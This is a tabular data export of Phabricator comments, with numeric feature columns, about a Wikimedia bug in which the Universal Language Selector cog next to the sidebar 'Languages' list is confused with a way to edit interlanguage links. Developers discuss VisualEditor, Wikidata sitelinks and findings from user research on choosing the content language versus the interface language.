91,0.2727272727272727,1.0909090909090908,0.0,4.545454545454546,11.181818181818182,2.4545454545454546,0.0,3.272727272727273,0.0,4.545454545454546,0.0,1.0,2.6363636363636362,0.18181818181818182,1.9090909090909092,0.6363636363636364,0.45454545454545453,0.18181818181818182,3.763844380727497,0.6670227319577969,"Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.

Little comment 2: The following two tasks at least partially overlap with this one:
# {T53355}
# {T53431}

----

So, we now have two or three elements near the languages list:
# The cog, near the ""Languages"" title:
-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
# The Wikidata link at the bottom:
-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
# The Compact Language Links ""''X'' more"" button:
-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
-- Clicking it opens a ULS panel with all the languages in which the page is available.

----

This is not ideal.

This is not ideal for a lot of reasons:
# Generally, three elements near the language the list //feel// like a bit too much.
# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
# The ""''X'' more"" button appears in some cases, but not always.
# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.

----

That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition.

But yes, it's about time to start resolving it.

ToSCREEN_NAME's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap."
1033672,"ULS' ""Language Settings"" cog is confused with a way to edit language links",">>! In T54383#4015867, @Krinkle wrote:
> The main thing I'm unsure about is why the cog is placed near the ""Languages"" sidebar section. Especially given we already have two other interfaces for editing the user language. Do I understand correctly that the intention is to (eventually) migrate all wikis away from the ""cog"" icon in favour of the ULS dialog trigger from the personal tools? The dialogs have different designs, but seem similar in purpose. And I can't actually find a wiki/page combination that shows both, which leads me to believe it is a configuration option, of which the personal-tools placement seems preferable as it avoids confusion with the purpose of the ""Language links"" sidebar section.
> 
> Can someone confirm this? And/or point to a roadmap of some sort related to this?

The different ways in which language selection is provided are the result of trying to keep a single area related to language where the default selection is about content (plus backwards compatibility). I'll try to elaborate and add some context:

**Our goal and what we learned about the user needs**

We want to provide the ability to select both, the content language and the UI language. During our user research we identified that many users don't have a very clear distinction of both concepts (or don't make a careful evaluation on which part a language selector they find is going to change). The most common expectation was to change the content (or both, content + UI). That is, if a user finds a selector with a list of languages and selects Italian, the user expects the content of the page to become in Italian, and it would be unexpected to see that only a few menus (the UI) change to Italian instead.

Based on the above, we tried to follow the guideline of presenting the option to change the UI language in a less prominent way than the content language selection. That is providing a default selector for changing the content language, and less prominent advanced options in case you wanted to specifically change the UI only.

**Why there are two different solutions**

We had two different kinds of wikis. Some wikis are multilingual, like Commons. Other wikis are a group of individual monolingual wikis linking to one another, like Wikipedia in each language. For multilingual wikis we presented a language selector on the personal toolbar on top. The selector let's you pick the content language and provides advanced options at the bottom to change other aspects such as the UI language. This was working well, and having the language selection on top was easy to discover.

However, monolingual wikis had already an established way to change the content language (technically, to jump to the equivalent page in a wiki of a different language) using the interlanguage links. At that time, we decided to keep the interlanguage links to avoid pushing for too much change at once (although we may want to revisit that in the future). With the constraint of keeping the interlanguage links where they were, placing the UI selector on top was problematic because (a) it created two separate areas for language selection, and (b) the most prominent one (on top) was not about content but UI. So we decided to have a single area dedicated to languages, keeping interlanguage links where they were as the most prominent language selection, and provide advanced options in a less prominent way as advanced settings.
",,,1521215850,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,245,,1.0,0.0,0.16666666666666666,0.16666666666666666,0.5,6.333333333333333,1.6666666666666667,0.16666666666666666,0.16666666666666666,0.16666666666666666,2.1666666666666665,0.5,0.0,0.3333333333333333,0.16666666666666666,2.0,0.16666666666666666,4.5,12.5,0.0,3.1666666666666665,0.0,0.0,0.0,3.0,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.16666666666666666,3.0,1.5,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,0.5,0.16666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.16666666666666666,15.5,0.5,0.5,0.16666666666666666,0.5,0.0,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.5,0.0,0.0,9.0,3.0,6.166666666666667,1.6666666666666667,2.5,11.166666666666666,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.8333333333333334,0.0,3.5,12.5,2.6666666666666665,0.0,0.0,0.0,3.5,0.0,1.1666666666666667,2.8333333333333335,0.0,2.1666666666666665,0.5,0.5,0.3333333333333333,4.227621037965865,0.6647727272727272,"QUOTE
QUOTE
QUOTE
QUOTE

The different ways in which language selection is provided are the result of trying to keep a single area related to language where the default selection is about content (plus backwards compatibility). I'll try to elaborate and add some context:

**Our goal and what we learned about the user needs**

We want to provide the ability to select both, the content language and the UI language. During our user research we identified that many users don't have a very clear distinction of both concepts (or don't make a careful evaluation on which part a language selector they find is going to change). The most common expectation was to change the content (or both, content + UI). That is, if a user finds a selector with a list of languages and selects Italian, the user expects the content of the page to become in Italian, and it would be unexpected to see that only a few menus (the UI) change to Italian instead.

Based on the above, we tried to follow the guideline of presenting the option to change the UI language in a less prominent way than the content language selection. That is providing a default selector for changing the content language, and less prominent advanced options in case you wanted to specifically change the UI only.

**Why there are two different solutions**

We had two different kinds of wikis. Some wikis are multilingual, like Commons. Other wikis are a group of individual monolingual wikis linking to one another, like Wikipedia in each language. For multilingual wikis we presented a language selector on the personal toolbar on top. The selector let's you pick the content language and provides advanced options at the bottom to change other aspects such as the UI language. This was working well, and having the language selection on top was easy to discover.

However, monolingual wikis had already an established way to change the content language (technically, to jump to the equivalent page in a wiki of a different language) using the interlanguage links. At that time, we decided to keep the interlanguage links to avoid pushing for too much change at once (although we may want to revisit that in the future). With the constraint of keeping the interlanguage links where they were, placing the UI selector on top was problematic because (a) it created two separate areas for language selection, and (b) the most prominent one (on top) was not about content but UI. So we decided to have a single area dedicated to languages, keeping interlanguage links where they were as the most prominent language selection, and provide advanced options in a less prominent way as advanced settings.
"
1023552,"ULS' ""Language Settings"" cog is confused with a way to edit language links","I've updated the task description with some background information.

The main thing I'm unsure about is why the cog is placed near the ""Languages"" sidebar section. Especially given we already have two other interfaces for editing the user language. Do I understand correctly that the intention is to (eventually) migrate all wikis away from the ""cog"" icon in favour of the ULS dialog trigger from the personal tools? The dialogs have different designs, but seem similar in purpose. And I can't actually find a wiki/page combination that shows both, which leads me to believe it is a configuration option, of which the personal-tools placement seems preferable as it avoids confusion with the purpose of the ""Language links"" sidebar section.

Can someone confirm this? And/or point to a roadmap of some sort related to this?",,,1519942423,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,243,,1.5,0.5,0.0,0.5,0.5,4.5,1.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,3.0,0.0,4.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,8.5,2.5,1.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.5,0.0,15.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,8.5,2.0,7.5,1.0,2.5,13.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,4.5,10.5,1.0,1.5,3.0,0.0,4.5,0.0,2.5,2.0,0.5,0.5,0.0,0.0,0.0,4.2195121951219505,0.7682926829268293,"I've updated the task description with some background information.

The main thing I'm unsure about is why the cog is placed near the ""Languages"" sidebar section. Especially given we already have two other interfaces for editing the user language. Do I understand correctly that the intention is to (eventually) migrate all wikis away from the ""cog"" icon in favour of the ULS dialog trigger from the personal tools? The dialogs have different designs, but seem similar in purpose. And I can't actually find a wiki/page combination that shows both, which leads me to believe it is a configuration option, of which the personal-tools placement seems preferable as it avoids confusion with the purpose of the ""Language links"" sidebar section.

Can someone confirm this? And/or point to a roadmap of some sort related to this?"
256105,"ULS' ""Language Settings"" cog is confused with a way to edit language links","This is generally a valid feature request, and this is something that ULS and VE developers should consider some time in the not-so-far future.",,,1395398464,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,37,,3.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9,"This is generally a valid feature request, and this is something that ULS and VE developers should consider some time in the not-so-far future."
256101,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Sorry, I meant to move this to ULS (as it's mostly a ULS design question) when it was filed some weeks ago.",,,1377534431,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,8,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,11.0,7.0,0.0,0.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.185185185185185,0.8888888888888888,"Sorry, I meant to move this to ULS (as it's mostly a ULS design question) when it was filed some weeks ago."
256097,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #11)
> my english is not good enough to understand the ""incidentally, ...""
> paragraph. what does that mean in terms of coding?

We may write more code to let you use bits of VisualEditor (like the dialogs) outside of the editor.",,,1375485860,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,20.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,6.0,20.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.342857142857143,0.8,"(In reply to comment #11)
QUOTE
QUOTE

We may write more code to let you use bits of VisualEditor (like the dialogs) outside of the editor."
256093,"ULS' ""Language Settings"" cog is confused with a way to edit language links","my english is not good enough to understand the ""incidentally, ..."" paragraph. what does that mean in terms of coding?",,,1375482575,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,4.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.96,0.96,"my english is not good enough to understand the ""incidentally, ..."" paragraph. what does that mean in terms of coding?"
256088,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #8)
> oh, you are right, it is just code to parse and display it in page settings
> *blush*, sorry for confusion. coming back to the original suggestion: why not
> improve the hacky gadget in the frame of the VE project, instead of including
> it in the VE?

The hacky gadget, as I recall:

* Doesn't let you set non-Wikidata language links (as needed on non-Wikipedia wikis)
* Doesn't let you set local language links to over-ride the ones from Wikidata (as needed on Wikipedia sometimes e.g. for [[Maggie Simpson]])
* Doesn't let you change/remove other languages' links without making you leave the site and going to Wikidata to use the tools there
* Doesn't let you create new Wikidata entities for the page
* Is based on local code that may differ between wikis (making VisualEditor work differently in different places)

We agreed with the Wikidata team a few months ago that replacing this was a worthwhile thing to do.

Incidentally, on the wider point, we're very keen to start moving away from editing being a monolithic block of actions that have to take place together, and instead letting users ""curate"" quickly - whether that's changing categories, language links, workflow action items (like ""needs wikifying"" or ""nominate for deletion"") or other tasks - without having to enter the editor.

HOWEVER, that's not really the point of this bug, is it?",,,1375480011,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,6.666666666666667,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,2.0,0.0,0.0,0.0,1.0,0.0,6.666666666666667,11.333333333333334,0.0,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.333333333333333,0.3333333333333333,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,11.333333333333334,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,1.3333333333333333,8.333333333333334,0.6666666666666666,1.6666666666666667,5.666666666666667,0.0,0.0,0.0,0.3333333333333333,7.333333333333333,0.0,0.3333333333333333,0.0,3.0,11.333333333333334,4.0,0.3333333333333333,2.6666666666666665,0.0,3.0,0.0,0.6666666666666666,1.0,0.0,3.6666666666666665,0.3333333333333333,0.0,0.6666666666666666,3.8596638655462185,0.7160130718954248,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

The hacky gadget, as I recall:

* Doesn't let you set non-Wikidata language links (as needed on non-Wikipedia wikis)
* Doesn't let you set local language links to over-ride the ones from Wikidata (as needed on Wikipedia sometimes e.g. for [[Maggie Simpson]])
* Doesn't let you change/remove other languages' links without making you leave the site and going to Wikidata to use the tools there
* Doesn't let you create new Wikidata entities for the page
* Is based on local code that may differ between wikis (making VisualEditor work differently in different places)

We agreed with the Wikidata team a few months ago that replacing this was a worthwhile thing to do.

Incidentally, on the wider point, we're very keen to start moving away from editing being a monolithic block of actions that have to take place together, and instead letting users ""curate"" quickly - whether that's changing categories, language links, workflow action items (like ""needs wikifying"" or ""nominate for deletion"") or other tasks - without having to enter the editor.

HOWEVER, that's not really the point of this bug, is it?"
256083,"ULS' ""Language Settings"" cog is confused with a way to edit language links","""about the cog not letting you change settings of other languages"" refers to the small wheel symbol in the side bar close to ""Languages"". 
It is created by the MediaWiki extension ""UniversalLanguageSelector"" (ULS) so that would be the codebase to change for that aspect, not VE's code.",,,1375466130,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,2.0,3.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,15.0,8.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9833333333333334,0.75,"""about the cog not letting you change settings of other languages"" refers to the small wheel symbol in the side bar close to ""Languages"". 
It is created by the MediaWiki extension ""UniversalLanguageSelector"" (ULS) so that would be the codebase to change for that aspect, not VE's code."
256075,"ULS' ""Language Settings"" cog is confused with a way to edit language links","oh, you are right, it is just code to parse and display it in page settings *blush*, sorry for confusion. coming back to the original suggestion: why not improve the hacky gadget in the frame of the VE project, instead of including it in the VE?

the ""about the cog not letting you change settings of other languages"" and ""ULS"" i did not understand. what would you mean by this?",,,1375446015,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,3.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,8.0,13.0,3.0,2.0,5.0,0.0,8.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.604651162790698,0.6627906976744186,"oh, you are right, it is just code to parse and display it in page settings *blush*, sorry for confusion. coming back to the original suggestion: why not improve the hacky gadget in the frame of the VE project, instead of including it in the VE?

the ""about the cog not letting you change settings of other languages"" and ""ULS"" i did not understand. what would you mean by this?"
256065,"ULS' ""Language Settings"" cog is confused with a way to edit language links","(In reply to comment #6)
> _remove_ the code to edit language links from the already complicated VE.

There is no code to edit language links in VisualEditor. What are you talking about?",,,1375401899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,18.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.9642857142857143,"(In reply to comment #6)
QUOTE

There is no code to edit language links in VisualEditor. What are you talking about?"
256058,"ULS' ""Language Settings"" cog is confused with a way to edit language links","james, bug 52105 is the exact opposite of the suggestion here. the visual editor team should, imo, leave the hacky gadget, or improve the hacky gadget with something which is not called hacky any more.

and, _remove_ the code to edit language links from the already complicated VE.",,,1375397942,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,2.0,2.0,0.0,2.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,2.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.983050847457627,0.711864406779661,"james, bug 52105 is the exact opposite of the suggestion here. the visual editor team should, imo, leave the hacky gadget, or improve the hacky gadget with something which is not called hacky any more.

and, _remove_ the code to edit language links from the already complicated VE."
256051,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Being able to edit language links is bug 52105 (specifically, for Wikidata ones). This would replace the current hacky gadget.

The other part of this bug (about the cog not letting you change settings of other languages) would be an issue with ULS, not VisualEditor, I think?",,,1375384179,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,10.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9827586206896552,0.8103448275862069,"Being able to edit language links is bug 52105 (specifically, for Wikidata ones). This would replace the current hacky gadget.

The other part of this bug (about the cog not letting you change settings of other languages) would be an issue with ULS, not VisualEditor, I think?"
256045,"ULS' ""Language Settings"" cog is confused with a way to edit language links","> i see, you do not know this beast as well

I admit I don't know every single option of software running on Wikimedia servers by heart, plus sometimes bug reporters paraphrase things. That's why I appreciate good steps to reproduce to understand the problems that you're facing.

Now that I can reproduce I agree that it's slightly confusing. 
However the bug summary does not describe the problem but one potential solution, hence changing the bug summary to: 
""VE > Page Settings > Languages"" functionality expected where ULS' ""Language Settings"" cog is

> and all people are happier.

On a general note: If you have not run a survey in your neighborhood and beyond (as other neighborhoods might have different needs and expectations), generalizations feel like http://en.wikipedia.org/wiki/Wikipedia:WEASEL and might diminish the impact & interest in your suggestions how to improve Wikimedia, which would be a pity.",,,1375383652,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,True,,,4,,0.5,0.0,0.0,0.0,1.5,4.0,0.5,0.0,0.0,0.5,3.0,1.5,0.0,0.5,0.0,2.5,0.0,6.0,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.5,0.5,6.0,3.0,0.5,1.0,2.5,0.0,0.5,1.5,0.5,0.0,0.0,0.5,4.0,0.0,0.0,0.5,0.0,0.5,13.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.5,4.5,1.5,12.5,3.5,3.5,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.5,9.5,5.5,0.0,3.0,0.0,5.5,0.0,3.0,2.0,0.0,1.5,0.0,0.0,1.5,4.367088607594937,0.7721518987341772,"QUOTE

I admit I don't know every single option of software running on Wikimedia servers by heart, plus sometimes bug reporters paraphrase things. That's why I appreciate good steps to reproduce to understand the problems that you're facing.

Now that I can reproduce I agree that it's slightly confusing. 
However the bug summary does not describe the problem but one potential solution, hence changing the bug summary to: 
""VE > Page Settings > Languages"" functionality expected where ULS' ""Language Settings"" cog is

QUOTE

On a general note: If you have not run a survey in your neighborhood and beyond (as other neighborhoods might have different needs and expectations), generalizations feel like URL and might diminish the impact & interest in your suggestions how to improve Wikimedia, which would be a pity."
256040,"ULS' ""Language Settings"" cog is confused with a way to edit language links","wikidata at the bottom

attached page settings at the right, with languages. and wikidata at the bottom. and i see, you do not know this beast as well and do _not_ expect the language code there. just remove this language link code and all people are happier.

**Attached**: {F11931}",,,1375364945,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,6.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.590909090909091,0.6363636363636364,"wikidata at the bottom

attached page settings at the right, with languages. and wikidata at the bottom. and i see, you do not know this beast as well and do _not_ expect the language code there. just remove this language link code and all people are happier.

**Attached**: {F11931}"
256033,"ULS' ""Language Settings"" cog is confused with a way to edit language links","page settings at the right

**Attached**: {F11930}",,,1375364802,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,"page settings at the right

